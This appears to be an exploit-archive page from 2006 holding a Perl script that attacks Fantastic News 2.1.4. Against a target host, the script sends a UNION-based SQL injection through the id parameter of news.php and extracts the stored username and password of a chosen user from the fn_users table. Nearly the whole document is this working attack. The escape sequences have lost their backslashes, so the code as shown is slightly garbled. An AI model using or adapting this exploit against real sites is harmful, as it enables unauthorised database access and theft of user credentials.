[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Fantastic News 2.1.4 (news.php) Remote SQL Injection Exploit
# Published : 2006-12-09
# Author : Bl0od3r
# Previous Title : Woltlab Burning Board Lite 1.0.2 Blind SQL Injection Exploit
# Next Title : SpotLight CRM 1.0 (login.asp) Remote SQL Injection Vulnerability
#!perl
#Download:http://fscripts.com/download.php?file=1
use IO::Socket;
#dc3.dl.am
if (@ARGV<3) {
&header;
} else {
&get();
}
sub get() {
$host=$ARGV[0];
$path=$ARGV[1];
$id=$ARGV[2];
$socket=IO::Socket::INET->new(Proto=>"tcp",PeerAddr=>"$host",PeerPort=>80)
or die ("[-]Errorn");
print "[~]Connecting!n";
print "[~]Getting Data!n";
print $socket "GET
".$path."/news.php?action=profile&id=-1%20UNION%20SELECT%201,2,3,4,5,password,1,2,3,4,5,6,7,8,9%20FROM%20fn_users%20WHERE%20user_id=".$id."/*
HTTP/1.1n";
print $socket "Host: $hostn";
print $socket "Accept: */*n";
print $socket "Connection: closenn";
while ($ans=<$socket>) {
$ans=~ m/<td>(.*?)</td>/ && print
"--------------------------------------------n[+]UserName:
$1n[+]PassWord:";
if ($1) {
$success=1; } else { $success=0;};
}
if ($success=="1") {
print "n[+]Successed!";
} else {
print "[-]Error";
}
}
sub header() {
print "n";
print "#######################################n";
print "# #n";
print "# # ##### ##### #n";
print "# # # # #n";
print "# #### # ### #n";
print "# # # # # #n";
print "# #### ##### ##### #n";
print "# #n";
print "# fscripts.pl host /path/ 1 #n";
print "# #n";
print "#######################################n";
print "n";
exit;
}
#dc3.dl.am
#---------------------
#bY dC3 - Crew ...
# www.Syue.com [2006-12-09]